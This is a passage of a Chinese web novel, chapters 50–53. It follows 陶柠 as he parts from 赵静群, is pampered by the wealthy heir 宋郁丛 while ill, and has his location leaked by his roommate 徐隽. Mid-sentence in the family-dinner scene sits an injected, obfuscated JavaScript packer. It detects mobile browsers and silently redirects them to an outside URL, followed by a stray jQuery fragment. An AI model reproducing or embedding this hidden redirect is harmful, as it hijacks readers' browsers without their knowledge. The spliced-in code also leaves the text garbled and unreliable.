他粗喘着气,病床下的拳头几乎要攥出血来,指甲深陷入肉中,只有疼痛能让他在此时不会失去理智,就像一匹被伴侣驱逐,落得苟延残喘的孤狼,“一定要这样么?” 陶柠沉默着与他对视,良久,很轻很慢地点了下头。 病房里的时针转动了一刻,最后,男人没有再说话,离开了这个地方。 自那以后,陶柠再也没有看见过赵静群,他回家那天晚上,反倒看见了系统给他发的照片。 背景是茫茫宇宙,无数璀璨夺目的星系下,地球宛如一粒毫不起眼的蓝色尘埃,孤单地落在宇宙这片神秘的海洋中。 【系统,还有其他人做这样的攻略任务吗?】 【呃……这个嘛,这是我们研究所的机密,无可奉告。呆瓜,你到底怎么了?】 【没事。】 过了一会儿,系统听见他的宿主又问:【赵静群还好吗?】 【呆瓜,我告诉过你了,你看不见的事情和人,我也没有办法看见。】 【噢。】 陶柠没有再问了,家里他的那间屋子空了一大半,赵静群其实没有把东西带走,唯独那封情书不见了。医院那天后,他就再也没有回来过,陶圆陆陆续续把他原来有的、后来买的东西都送到刘书记家里去了。 但有一个东西陶圆没找到,便是赵静群送他的手机,因为被陶柠给藏起来了。 陶圆当然知道这件事,严肃问他:“手机呢?陶柠,把手机交出来,我们家一根针也不能拿他的。” 被她训斥的少年低垂着头,依旧是那副老样子,不反抗却也不作声,仿佛一只迟钝的蜗牛,受到外界的刺激,就会缩进壳里。 陶圆终究心软了,叹了口气,板着脸说:“算了,那手机应该挺贵,以后拿着卖了能换不少钱……你要是敢背着我和他私底下联系,我就揍你知道吗?手机你也别想要了。” “嗯。” 少年答应陶圆,却会在夜深人静的晚上,盯着手机里没有任何消息的界面发呆,但也只是看了一会儿,就抵抗不了困顿睡过去了。 他恢复了以往的生活,距离暑假结束只剩十天左右了,系统叫他安心等待进城的消息,而陶圆在张罗着要给他办一场欢送宴。 陶柠拒绝了,“在家里吃就好了。” 陶圆说:“那怎么行?你这一去没个一年两年回不来,我去城里不方便,你回家也不方便,以后几个月才能见一次……”说着说着,这个要强的女人眼底再次闪过泪光,“不行,这件事你必须听我的,我明天就联系那些亲戚,把大家都叫过来送你。” 陶柠拗不过她,只能答应了。他一天数着一天的日子,也没再打开过手机,放进进城收拾好的行李了。 小檬舍不得他走,这几天非要和陶柠睡一块,蜷缩进他怀里的时候,会天真地问:“舅舅,飞机是什么样的?妈妈说,城里还有跑得很快的车,那个叫什么呀?” “我不知道。”陶柠摸了摸他的头,看着头顶破旧的水泥天花板,“应该是高铁吧。” “噢……那舅舅……你会坐高铁去城里嘛……”小檬嘟囔着,迷迷糊糊睡着了。 陶柠没有回答,面对全然陌生的东西与领域,他终于生出几分未知的迷惘。 一直到出发前几天,家里突然热闹起来了,首先是那天被陶圆赶走后的李向东回来了,还有陶柠的大姐和二姐,六七年没见,他们拖家带口,带上了陶柠从未见过的外甥和外甥女。 她们喜气洋洋给陶柠祝贺,“哎哟,咱老陶家祖坟可算是冒青烟了,柠柠都要去城里读书啦,还全免学费呢!可给咱们家长脸了!” “是啊是啊,”二姐笑着附和,“咱爸要是在地下知道了,可不得高兴得大喝几碗,他啊,就喜欢有事没事来点小酒……” 被当成景点一样围观的当事人陶柠坐在饭桌上,没有应和,以至于让大姐二姐尴尬到只能干笑着了,屋内吵闹极了,因为一共来了三个小孩子。 有外甥女吵着闹着要吃唯一的鸡腿,另外两个外甥也想吃,但一般情况下,陶圆会把鸡腿夹给小檬和陶柠,但现在一下来了三个孩子,加上小檬和陶柠,不够分了。 二姐为了献殷勤,拍打女儿伸筷子的手:“吃吃吃,就知道吃!什么时候能有你舅舅学习一般好,才配吃这个鸡腿。”说完,讨好地夹起那只鸡腿放到陶柠碗里,乐呵着说:”好柠柠,你吃,多吃点长高,到外头给我们长脸……” 她转了下眼睛,“柠柠啊,你进城后是在哪所学校读啦?资助你的人家你有没有他的电话啦?” 大姐见她抢先,瞬间不乐意了,赶紧招呼两个儿子去包里把买的燕麦牛奶拿过来,“哎哟,这鸡腿有什么好吃的伐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859543|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们柠柠要多吃补品……” 这话一说,二姐又不满意了,两个人开始七嘴八舌吵起来,李向东被吵得端着碗出去了,陶圆还在厨房端菜,进来一看两个快打起来了,怒喝:“你们有完没完了?!不吃都给我滚出去!” “大姐,你说话还是那么难听……” 陶柠没胃口吃饭了,默默收拾碗筷离开了正堂,他回到屋子,继续收拾行李,他其实没多少东西,把屋子收拾一圈统共下来,就装了两个麻布袋,还有一个很重的背包。 他坐在床上发呆,手机的界面亮了,陶柠迅速拿起手机,是备注为“老公”的短信—— 【骗子。】 陶柠的心脏动了一瞬,他盯着这两个字发呆,最终没有回复,把手机关机了。 次日下午,陶圆就带着一家人老老少少十多个人去了镇上最大的饭馆,当然,她是提前收了各家亲戚钱的,这也是她最终的目的。 一大家子吃到一半,忽然服务员过来,在陶柠耳边说了句:“小帅哥,有个姓赵的人在门口等你呢。” 陶圆已经喝得晕乎了,但她最近对陶柠的事情格外敏感,看见服务员在他耳边说悄悄话,顿时眼睛一瞪,“干嘛呢陶柠?” 其他人不知道事情的经过,纷纷指责陶圆管弟弟管得太严了,男孩子啊,能有什么事?陶柠面不改色说:“阿姐,饭店给我准备了一个蛋糕,叫我去拿。” 陶圆不耐烦地让其他人闭嘴,听是这种理由,感慨了一下大饭店的服务就是好,然后挥手让他去了。 到了饭店门口,这个时候天其实很黑了,陶柠朝四周张望了一下,瞬间,有人从背后捂住他的嘴,直接打横抱将他抱到了一条小巷子里。 陶柠刚想挣扎,身后传来浓烈熟悉的烟草味将他团团围住,瞬间便放弃了,黑暗之中他能模糊看见男人下巴上的胡青,疲惫沧桑了许多,其次是绷紧的线条,预兆着男人的心情非常不好。 一直把怀里的人抱到一处偏僻的路灯下,赵静群才把他放下来,刚放下,他直接了当地开口:“陶柠,我把头发染黑了,耳钉也全部扔了,现在我的车就在这条巷子外面……你愿不愿意跟我走?” 陶柠征征地看着他,这才发现,眼前人的变化很大,曾经那样张扬似火的红发被染成了黑色,将他身上的痞气遮盖了几分,简单的衬衫长裤,乍一看,竟有几分邻家男孩的味道。 男人耳朵上也干干净净的,什么都不见了。他只用那双漆黑的眸注视过来,里面却满是血丝,嘴唇也干裂到了出血的地步,那双眼睛里有期待、忐忑、惶恐……还有他所说的爱。 这几天他经历了什么?陶柠想问,但没有说话。 于是两人在这条沉闷而昏暗的巷子里彼此注视着,却谁都没有说话,前几天又下了一场很大的雨,屋檐上的水没有干涸,像断了线的珠子不停地落在地上,啪嗒啪嗒,与逐渐凝固的心跳重合了。 直到从很远的地方,传来了陶圆焦急的呼唤,陶柠清醒地明白,该重新回入轨道了。 最终,赵静群看着少年清瘦的背影,一步一步离开了这个昏暗的巷子,他久久无言,身后传来清脆的声音:“哥,我们还不走吗?” 赵静岁踩着高跟鞋过来,她只能看见男人沉默的背影,在黯淡的光线下形只影单,他地上只有影子,除此之外,什么也没有。 “……哥?” 她感到困惑,上前伸手提醒这个对赵家没什么感情的兄长,却看到男人脸上的神情时,半空中的手彻底僵硬。 屋檐上的雨珠持续落下,有嘀嗒的声音。 原来是他哭了。 50-60 第51章 第 51 章 都做了? 宋郁丛冷脸拉开衣袖, 白炽灯下,流畅的肌肉线条上,是密密麻麻针孔留下的痕迹, 有些针孔周围泛着青紫,胳膊的肤色呈现出失血过多的苍白, 仿若冰冷的尸体。 医生已经见怪不怪,给他注射药物后, 静默等待了半小时左右,随后贴心地给宋郁丛一个眼罩,“二少, 我要开始取血了。” 宋郁丛蹙眉,却也没有抗拒,接过一次性眼罩。冰凉的碘伏擦拭肌肤, 只与血管仅隔着几层薄薄的组织, 尖锐的针头还未刺进去, 胳膊便开始轻微颤抖了。 他不由自主大口呼吸, 另一只手攥紧拳头,宋郁丛强行忍住恐惧, 直到针头刺入,他能清晰地感受到血液流逝,因为这样的事情, 从他出生起,就已经上演过成百上千次了。 直到医生说“可以了”,宋郁丛猛地把眼罩一扔,看也没看后面装血的针管便走了,徒留医生慌张道:“二少!要拿棉签压着啊!二少” 配型结果需要半个月以上才可以出来,宋郁丛坐在贵宾休息室里, 闭了闭眼,呼吸止不住发颤,其他医生在给他处理身上的伤口。 徐隽那虚伪的畜生当时是真的想杀了他,下手又狠又黑。宋郁丛睁开眼,冷笑,他虽然答应了陶柠会放徐隽一马,但绝对不会让他好过,几百万的赔偿款就足以让一个家庭倾家荡产了。 他绝不会那么轻易放过徐隽,救命恩人?宋郁丛根本没信多少,只要瞒着那个乡巴佬做就好了。 直到陶柠和医生出来,宋郁丛摆着一张臭脸,“都做了?” “嗯。” 陶柠看他,此刻宋郁丛头上缠了一圈纱布,双手抱臂,脖子上贴了好几个创可贴,虽然是一张臭脸,但显得有点可怜 也不知道徐隽怎么样了。陶柠不敢问。医生战战兢兢跟宋郁丛说了结果:“目前陶小公子的病情控制的还不错,但并不保证后续情况,所以还需要尽快找到可配型的骨髓做手术。回去要按时吃药,避免劳累,勤休息,多摄入高蛋白质食物,如瘦肉、鱼类、禽类等等,注意避免高脂肪肉类,还要清淡饮食,最重要的一点是身上不能出现伤口” 陶柠很乖地点头,而宋郁丛双手抱臂,看似一脸不耐的模样,耳朵却一直在动,旁边的人眼疾手快,拿录音笔仔仔细细记下了医嘱。 出了医院,司机把两人直接送去宋家的庄园别墅,刻有蔷薇的铁门缓缓打开,许久未曾来过,陶柠依旧很新奇,只是这一次,乘坐别墅内部车辆时,宋郁丛没有坐在他身后,而是坐在他旁边,但依旧如从前那样,看也不看他。 陶柠也没有在意,绕过一座花园后就到主院了,门口站着左顾右盼的阿云,他一见到下车的陶柠,快步迎上去,“陶公子!你终于回来了” 话说到一半,瞥到他身后脸色冰冷的宋郁丛,顿时吓得不敢吱声了。陶柠正想接阿云的话,一条胳膊伸过来,不由分说就把他拽向餐厅。 身后的佣人和保镖顿时围在一起,用粤语叽叽喳喳道: “喔唷,感觉二少爷脾气更差了。” “最近老爷会回来,别墅里又有的折腾了” “那是老爷资助的孩子吧,怎么看上去和二少关系不错。” “能和二少爷做上朋友,肯定是有本事的死娘娘腔,你能伺候他运气真好。” 说话的人推了一把阿云,阿云缩了缩身子,脸色发白低下头,在他心里,陶柠那样美好的人,无论是否和宋二少成为朋友,都是他遥不可及的天上星,水中月。 所以陶柠能记住他足以让阿云高兴一辈子了。 宋家别墅的餐厅如陶柠刚来时一样,只有寥寥几个人,这一次没有宋夫人,只有宋郁丛的大哥宋珩坐在主位上喝茶,他抬起头,那双淡淡的眼睛落在宋郁丛拽着他的胳膊上,微挑起眉,随后目光落在陶柠的脸上。 轻飘飘的一眼,陶柠刚来时感觉不到什么,但也许是经历的事情多了。他忽然觉得宋珩的眼神令他很不舒服。 因为宋珩看他的目光不像是在看一个活生生的人,而是一件有利用价值的商品。陶柠感觉有些不适,避开了他的视线。 见状,宋珩轻笑一声。 宋郁丛瞬间冷脸,把陶柠挡在身后:“宋珩,你够恶心的,吃饭也不忘展示你那张丑脸。” 轻扣茶盏,宋珩面不改色,依旧浅笑,声音也丝毫听不出来怒意:“郁丛,母亲生病了,你应该提前回来去探望她。” 宋郁丛冷笑,“她遗嘱都立下了,家里养的阿猫阿狗都可以去给她上坟,唯独我不行,现在生病了会喊我去探望?我说宋检察官,你少在这虚情假意做好人了,倒胃口。” 话落,直接拽着陶柠去了二楼,电梯关闭前最后一秒,陶柠远远看见,宋珩面无表情,却略带玩味地看了自己一眼。 砰的一声巨响。 宋郁丛把房门关上了,门上贴的符箓被震得飞起,即便如此,也依旧牢固地贴在门上。陶柠陷入沙发里,看宋郁丛拿传唤机报了一连串菜名,什么佛跳墙、东星斑等等菜品,还有燕窝、人参等补品,几乎和医院里医生说的医嘱吻合。 宋郁丛不耐道:“把另一个山庄的营养师调过来,还有那个姓高的,叫他去奥克森特把乡巴佬的药送来别墅。” 传呼机那边的佣人有些迟疑:“二少您说的乡巴佬是谁?” 余光情不自禁瞥向沙发上的人,少年已经半躺在沙发上睡过去了,他睡姿很乖,背靠沙发枕着半条胳膊,红润的唇微张,只能看见半张白皙瘦弱的脸。 宋郁丛收回目光,耳朵泛起不自然的红,轻轻冷哼了一声,干巴巴说:“陶柠。” “是。” 佣人办事的效率很快,没过多久,摆满了一辆推车的食物送了进来。宋郁丛把陶柠推醒:“睡得跟猪一样,到底你是奴隶还是我是奴隶?快起来。” 陶柠迷迷瞪瞪清醒,他揉了揉眼睛,映入眼帘的是一桌色香味俱全的饭菜,身旁还余有宋郁丛威胁的声音:“等会有一滴油落地毯上,你就死定了。” 宋郁丛表情恶狠狠的,陶柠呆呆的“噢”了一声。 但他不知道陶柠有个很不好的毛病,就是每次吃饭不仅吃的慢,还会把米饭粒掉在桌子上。陶柠有自知之明,所以这次吃饭的时候吃的更慢了,生怕把饭落到地上。 于是陶柠夹一筷子只有几粒米,菜也只挑小青菜吃。这盘青菜做得很合他胃口,咬下去又脆又有蔬菜的鲜甜。 结果宋郁丛似乎很看不顺眼他吃饭的方式,“你是蜗牛和羊变得?吃快点会要命么,菜也只挑那几根草吃。” 他之前就说过陶柠是蜗牛,陶柠心里装着事,本就吃的有些心不在焉的,而且有些菜他不喜欢吃,觉得有点腥。面对宋郁丛的挑刺,他习惯性左耳进右耳出,又“噢”了一声。 哐当一声。 宋郁丛把叉子一撂,双手抱臂,“今天不把饭吃完,你下顿就别吃了。” 陶柠忽然觉得有些委屈,他今天已经很累很疲惫,一路上都在担惊受怕,吃饭没有喜欢吃的菜就算了,还要处处受限制。他把筷子放在盘子上,倏然站起身说:“我不吃了。” 宋郁丛也跟着唰地站起来,“陶柠,你别忘了自己说的,敢踏出这个房间你试试。” 脑海中闪过徐隽悲伤的眼睛,陶柠停下脚步,又默不作声坐回去,垂着头,开始埋头吃饭,细这次他吃饭的速度很快,没有停下来过,更像是机械地扒饭。 宋郁丛发现了他的不对劲,拽住陶柠细瘦的胳膊:“你在做什么?!” 但手里的人倔强得不像话,不抬头也不搭理他,继续大口大口吃着,连菜也没夹,“陶柠!你给我停下!” 直到吃得太快,没嚼便咽下的饭团噎住了嗓子,陶柠忍不住咳嗽起来,本就没有什么血色的脸染上病态的红,到最后甚至捂住胸口开始干呕,地毯也瞬间变脏了。 宋郁丛脸上以肉眼可见的速度慌乱起来,他迅速拿过水递给陶柠,一只手拍着陶柠瘦到骨头凸出来的背脊,语气慌乱道:“你有病啊乡巴佬?!我又没逼你,你他妈吃成这样给谁看?!” 他又迅速拿起传唤机,叫人赶快把家庭医生喊过来。 宋郁丛手忙脚乱,调动出很久以前老医生拍背的记忆,学着老医生的样子,笨拙地拍着陶柠的背。 但宋郁丛从未做过伺候人的事,拍背也没轻没重的,陶柠受不了他的力气,喘了口气,纤细的手推向他的胸膛,虚弱道:“疼你别拍了。” 宋郁丛抓住他乱碰的手,耳尖发红却臭着脸,也没有松开,力度放得很轻,“少废话,你要是噎死在这儿,倒霉的是我。” 一直到陶柠不再咳嗽了,宋郁丛才松手,家庭医生也急忙过来了,还有打扫的佣人,本来冷清的房间瞬间挤满了人,收拾房间的,给陶柠看病的还有承受宋郁丛怒火的。 “谁做的饭那么难吃?不想干了是么?” “刚才做饭的是刘大厨。” 有佣人颤颤巍巍道:“可是二少您之前还夸过刘大厨呢” 恶狠狠的眼神瞪过来,佣人瞬间不敢作声了。家庭医生给陶柠检查完,朝宋郁丛汇报,说他身体现在非常虚弱,体重也不正常,要多注重休息多吃饭,其他的没有问题,说完后便走了。 而佣人们把地毯全部换了一遍也弯腰退下。 听完医生的嘱托,宋郁丛臭着脸没说话,像是在想些什么。只是这顿饭是彻底吃不了了,那只剩下好好休息了。 他头上还缠着纱布,嫌弃枕头会碰到,便没有去卧室。陶柠本来想回自己的房间睡觉,再给徐隽打电话问情况的。但宋郁丛偏偏不放过他,冷声道:“就在这儿睡。” 陶柠知道自己反抗不了这个二少爷,只好认命蜷缩在沙发上了。他入睡很快,房间内彻底安静了下来,只能听见宋郁丛心跳加速的声音。 他待在原地盯着陶柠的睡颜,哼了一声,随后抱起陶柠去了卧室,把他放在自己的床上,臭着脸给他摘下眼镜,又非常不熟练地给陶柠脱了鞋子,还有裤子等衣物。 只是脱的时候,宋郁丛眼神闪烁,只敢偷偷瞄怀里人白到晃眼的地方,还有少年五官精致到像天使的睡颜。 宋郁丛不自在地移开视线,冷哼:“丑。” 最后给陶柠盖好被子后,宋郁丛双手抱臂,冷脸走出房间,他拿出传唤机,吩咐佣人去陶柠的卧室里,凡是尖锐的地方全部用棉和海绵垫包住。 他沉吟片刻,又喊了一拨佣人来房间,把这里尖锐的地方也封住。 “动作轻点,不要让我听见你们乱七八糟的声音。” 吩咐完后,宋郁丛把传唤机扔在茶几上,回了卧室。他径直走向沙发,双手抱臂,斜靠在沙发上,但沙发没有多大,宋郁丛很高,躺在上面有些不舒服,也放不了脚。 但他没发出声音,只是皱着眉,脸色不好看。 没过多久,墙壁上的挂钟刚走了半圈,床上便传来软糯虚弱的声音:“宋郁丛” 宋郁丛瞬间睁开眼,凶巴巴道:“我告诉你乡巴佬,你睡相差死了,刚才是你自己梦游跑到我床上去” “我肚子疼。” 第52章 第 52 章 宝宝 宋郁丛瞬间站起身, 快速走到床边掀开被子,嘴上却不耐道:“你屁事怎么那么多” 陶柠咬住下唇,没力气跟他吵, 刚才吃东西吃得太快,肚子有些消化不了, 现在疼得厉害,他捂着肚子, 雪白的脸上冷汗涔涔。 下一瞬他便被人抱入怀中,但宋郁丛的体温比他还低,冰凉的双手箍在腰肢上时, 陶柠往他怀里缩了缩,有些哆嗦。 头顶上方传来咬牙切齿的声音:“别乱动!” 宋郁丛抱起陶柠快步去了卧室外,佣人们还在妥帖地把房间内所有尖锐的东西包扎好, 见脾气极差的二少爷抱着人出来, 纷纷吓了一跳, “还愣住干什么?!把医生喊过来。” 佣人们连忙应是, 以至于刚走没多久的医生办公室的软椅屁股还没坐热,就被人又火急火燎地喊走了。 医生心里嘟囔着, 莫非是二少爷犯病了?结果进门一看,沙发上的二少好端端的,眉头紧皱, 只是怀里紧紧抱着一个人,正是前不久他刚诊治过的少年。 他在宋家做家庭医生十多年了,从未见过这位脾气差的要命的二少如此护着一个人,还真是稀罕了。医生也不敢偷懒,仔仔细细将少年检查了一遍,得出的结果不过是胃部消化功能不好, 依旧是要注意饮食。 话说通俗一点,就是胃太脆弱了,吃东西不能太快,吃的东西更不能乱七八糟,总而言之,就是得精细养着。 医生给陶柠弄了点护胃的药物便走了,宋郁丛又在一众惊讶的眼神中,把陶柠抱回了床上。 佣人们瞬间回神,急忙凑到床边。有给递温水的,有冲药的,有端着很小巧甜点的,还有人打算用热水袋给陶柠暖胃的每个人对待这个漂亮的少年就好似对待易碎的瓷器,宋郁丛则站在旁边,双手抱臂冷眼盯着他们。 陶柠被这个阵仗吓得忘记肚子疼了,他拿起药便一口喝下,避开了要拿热水袋捂他肚子的手,“不不用,谢谢你们,给你们添麻烦了。” 佣人们对着这么一张似漂亮娃娃似的脸,还那么脆弱,心里更怜爱了。甚至之前觉得陶柠土气的人纷纷倒戈,也不知道是陶柠自己买的眼镜还是谁给他买的,那么丑?!简直暴殄天物。 要给他暖肚子的佣人连忙道:“没事的陶公子,您用热水袋护着吧,这样会好受点”说着要继续把小小的热水袋放到陶柠肚子上,一只手伸过来,把热水袋抢走了,伴随着宋郁丛冰冷的声音:“都滚出去。” 没有人不敢听这位二少的话,那位佣人讪讪不已,跟着其他人退出去了。 宋郁丛不顾陶柠小幅度的挣扎,强硬地把热水袋捂在他柔软的肚子上,冷声道:“自己捂着。” “噢。” 肚子上的手放开了,陶柠自己捂着,但是他很困,也觉得只是肚子疼而已,用不着那么大费周章,趁宋郁丛闭眼休神,偷偷把热水袋放到旁边,忍着轻微的疼痛想睡觉了。 但下一秒,冷嘲热讽的声音便在床边炸开:“你是真想死是么?”宋郁丛是真的想把陶柠裹成一团从二楼扔下去,这人自己全身上下都是毛病,偏偏自我感觉良好,没看住他一会儿,把热水袋往旁边一丢,被子也不盖就蜷缩身体要睡觉了。 这乡巴佬看着低眉顺眼好欺负,怎么生个病那么麻烦?! 宋郁丛憋着火,但又想起医生说陶柠要好好休息,情绪更不能大喜大悲。他臭着脸搬了把椅子放床边,坐下来拿起热水袋捂他肚子上,最后直接把被子闷陶柠头上。 动作要多粗鲁有多粗鲁,要多暴躁有多暴躁。 这下子,肚子上只能牢牢地贴着热水袋,不过刚才还疼的肚子一下便好多了,陶柠默默蠕动身躯,把自己的脑袋从被子里钻出来,露出两颗有些圆的眼睛,声音透过被子,也有些闷声闷气的:“谢谢你” 但凶神恶煞的宋二少丝毫不领情,臭着脸道:“闭嘴,等你肚子好了,立刻从我的床上滚下来,去把我的鞋全部刷一遍。” 刷鞋吗?还是很简单的,从小到大陶柠的鞋都是自己刷的,他“噢”了一声,又问:“刷完” 宋郁丛语气不耐:“再说一句废话,就把你从二楼扔下去。” 陶柠默默闭上嘴,不做声了。卧室内的空调开的刚好,不冷也不热,伴随窗外树叶窸窣的声音,还有身旁人平稳有力的心跳,陶柠沉沉睡了过去。 * 高宇接到宋家传来的消息时,正要打算去三亚度假,对面说要他赶去奥克森特一趟,把叫陶柠的药拿过来,简单跑这一趟腿,报酬便是两个月的工资。 那边特别爽快,把钱瞬间到打到他的账户上。 他不会过问金主家的事,但用脚指头猜高宇也能猜到这是谁的意思,必定是宋二少的。虽然平日里宋家二少脾气差,是出了名的难伺候,可对待佣人却是最为大方的一个,小到几千几万的奖金,大到数十万的奖励,而且用的都是宋二少的个人资产,不走宋家的账目。 因此簇拥宋二少的人虽有怨言,但一切向钱看齐,多的是人上赶着巴结宋二少。当然也有实在受不了他脾气的人,宁死也不乐意的。 而高宇,却是非常乐意的那一批人,收了这笔跑腿费,他连忙改了机票,把目的地换成拉斯维加斯。 于是高宇几乎是飙车去了奥克森特,按照资料找到了陶柠的宿舍,敲了敲门,没人应声。他去找行政老师,行政老师知道他的身份,叫人给他送了钥匙。 宿舍门顺利开了,高宇一进门,便闻到一股若有似无的血腥味,随即,一道冷淡的目光看向他。 宿舍内没有开灯,脸上青紫的男人坐在右方的书桌前,书桌上有一封牛皮纸信,他脚底下还有一小片血迹,大概是血腥味的来源,听到门口的动静,冷冷淡淡看过来,只是因为黯淡的光线,看起来有些阴森。 高宇被吓了一跳,这应该就是陶柠的室友徐隽,他对这人有很深的映像,不是从别人的口中提到过,而是一场慈善晚会,当时的徐隽比现在青涩许多,却已经西装革履跟在一个地产大亨身后,面不改色跟人应酬了。 他路过时偶然听见徐隽在汇报:“几天后的招标会应该没问题,但陈处长那边有些事情需要您亲自出面,他在您三点钟方向” 当时高宇便多看了这年轻人一眼,也就暗暗记下来了。后来他就知道了此人是徐隽,当时年仅十七八岁,便把股票、债券等金融玩得比专业人士还要厉害,但是他从不参与,只给人做咨询。 后面再次听到徐隽的消息,便是在奥克森特,据说是校长亲自从海州一中将人请来的。 只是如今那个低调却风头无两的年轻人,怎么把自己弄成这幅狼狈不堪的模样?高宇知道宋二少和人发生了冲突,但是不知道是和徐隽。 “你是陶柠的室友吧?”高宇问,“你知道他平日里吃的药放在哪里么?麻烦你给我找一下。”说着,他拿出几张钞票放到徐隽桌上,桌上还有一捧快要枯萎的向日葵。 他心里犯嘀咕,这年轻人看着冷清不好接近,没想到还会买向日葵,挺有情趣的。 徐隽面无表情看了他几秒,随后拉开抽屉,将一份早已经打包好的药物放到桌上,合上抽屉。 高宇直接拿走了,临走前关上门:“谢了啊,桌上的钱你收着吧。” 徐隽收回冷淡的视线,没有去看那几张钞票一眼,而是拉开了抽屉,除了刚才被拿走的部分,里面还有一部分药物,高宇不清楚,但陶柠记忆力很好,不会不知道拿到的药只是一部分。 他猜到宋郁丛会派人过来拿药,回来后便把药物妥帖打包好了,说明书上甚至还沾有他打包时留下的血迹。 徐隽已经不确定陶柠会不会亲自回来,但他想见陶柠。 他缓缓抬眸,又把视线凝在桌上的牛皮信封上,过了片刻,视线转移,落在那几张钞票上,昏暗的光线下,他面无表情盯着,没有人知道徐隽此刻在想什么,但那双似鹰的眼睛更像是阴冷的毒蛇。 过了片刻,他用纸包住那几张钞票走向厨房,因为走动,有血迹从他的裤缝中滑出,落在地板上,一尘不染的地板瞬间染上了肮脏的血液。 他打开炉灶,蓝红交织的火焰燃气,徐隽冷漠的瞳孔映出纸张和钞票一同燃烧的倒影。 徐隽盯着它们燃烧殆尽,随后掏出一部手机,是陶柠的。 他打开那个备注刺眼的聊天框,上次他把“对不起”连带着一条虚假定位发送过去后,这人又发了许多消息过来: 【呆宝,那个学校不好,我来了替你转学好吗?】 【宝宝我错了,不该说那样的话,理我一下行不行。(T_T)】 【呆宝,你收到礼物了吗?】 【呆宝,你是不是交到新朋友了(ㄒoㄒ) 】 徐隽冷眼滑过信息,最后输入宋家庄园别墅的位置,按下发送键。 做完这一切后,他回到自己的桌前,打开电脑,拿出一份文件,再拨出一个加密的电话,电话那边响了几声,随即一个年轻女子的声音响起:“这里是李总办公室,请问您有预约吗?” “没有。” 电话这边的声音听起来是个中年男子。 “那不好意思” “我有宋荣国贪污的证据,你们李总感兴趣么?” 第53章 第 53 章 “抱一下我” 一架达索猎鹰2000LXS私人飞机正从所罗门群岛上空飞过, 胎牛皮座椅凹陷,男人半靠背垫,阴鸷的眉眼间是挥之不去的疲倦, 他捏着眉骨,前方折板上堆满了各种各样的文件。 最上方, 有一部手机。 手机外接设备,有个印裔在对着机器操作, 显示屏上是密密麻麻的代码数据。赵静群睁开眼,“查到了么?” 两周前,他察觉到有人动了陶柠的手机, 便请了一个印裔过来,叫他查找发送那条短信的基站位置,但此人非常谨慎, 还精通反侦察, 请过来的印裔一直在和此人‘交涉’。 那时候赵静群心情极不好, 时常阴晴不定。他的呆宝身边什么时候有这么个朋友了?他酸溜溜的想, 陶柠身边不再只有自己,与此同时也更加焦急, 迫切地想要知道陶柠的踪迹。 可疑的是,他除了能用这部手机知道陶柠有限的信息后,其他一无所知。而且赵家的事情堆积如山, 他不仅要处理赵家外面的生意,还要好好敲打族里那些不安分的叔伯。 前几天赵静群刚结束缅北的事情,后脚便要飞往澳大利亚抓叛徒看合作项目,每天的睡眠可以说不足两个小时。 之后手机又发来一条可疑的位置,赵静群半信半疑,但他不敢赌, 就叫人迅速去查这个学校了,结果是查到这个学校旁边有个火葬场和殡仪馆,其他扑了个空。 他意识到被人耍了,却也不放过一丝可能性,继续给陶柠发消息。 “赵先生,有消息了。”印裔蹩脚的中文打断了思绪,赵静群抬眼,印裔已经把手机捧到他面前,追踪显示屏里一条定位在海州的位置被标红。 “您的爱人在这个范围。” 赵静群若有所思,他最开始其实按赵静岁说的海洲搜索过,只是因为海州太大,找人无异于大海捞针,而且他本人不在海洲,还有各种人盯着他的一举一动,他不好明目张胆寻找,因此至今没有什么消息。 除了孙老二还有赵静岁等人知道他在找陶柠,其他的都不知情。 如今具体范围被标出来了,赵静岁沉着眉:“叫孙老二带人过去。” 随即手机震动,赵静群迅速拿了起来,视线凝在置顶备注发过来的消息上,他挑眉,“白云鹤湖山庄?” * 卧室内的床柔软如天鹅羽,陶柠睡的很沉,直到被一阵窸窣的东西吵醒的,他睁开眼眸,便与一双圆溜溜的大眼睛对上。 一个七八岁的小女孩穿着碎花裙,一只手探进被子里,见他醒了,双手缩回去捂住嘴,眨巴着眼睛,用脆生生的声音问:“漂亮哥哥,是我吵醒你了嘛?” 陶柠怔了一下,听到她说‘漂亮哥哥’,摇了摇头,脸颊微红,弯着眼睛道:“没有。” 小女孩笑了起来,又赶忙把小手伸进被子,陶柠感觉到有温热的东西放到了自己肚子上,应该是那个热水袋,可他记得,睡觉前是宋郁丛在身边的。 小女孩用甜甜的身影说:“漂亮哥哥,我叫囡囡,是小草哥哥叫我来给你捂肚子的。” 小草哥哥?陶柠一时有些没反应过来,后知后觉意识到她可能在说宋郁丛,他掀开被子,把热水袋从囡囡手里拿下来,看到她,他想起了许久未见的小檬,自然而然将她抱了起来。 囡囡高兴到大喊:“起飞啦!” 陶柠弯起眼睛,他很喜欢小孩子,摸了摸她柔软的头发说:“不用给我捂肚子,小草哥哥在哪里?” 囡囡眨巴着眼睛:“小草哥哥说不能告诉你。” “” 囡囡又有些不好意思低下头,她很喜欢这个漂亮哥哥,是她见过最好看哥哥,于是在陶柠怀里揪着自己的头发说:“如果漂亮哥哥亲我一口,我就告诉漂亮哥哥!” 陶柠有些忍俊不禁,在囡囡左右两边小脸蛋上,都亲了一口。 “现在可以告诉我了吗?” 囡囡笑成了花儿,从陶柠怀里下来,肉嘟嘟的小手抓着陶柠的拇指,带着他往外走,“漂亮哥哥跟我来,我们去找小草哥哥” 但是陶柠跟着囡囡刚打开卧室门,两只如铁箍的手便拦住了他们,保镖为难道:“陶公子,二少爷下了命令,您不能离开这间屋子。” 囡囡面对外人有些怯生生的,躲到了陶柠大腿后去。 陶柠护着她。 “噢。” 既然出不去,陶柠也不强求,甚至礼貌地问:“可以去我的房间拿几本书过来吗?”他去学校的时候没有把所有书带走,一些没那么感兴趣的练习册都留下了。 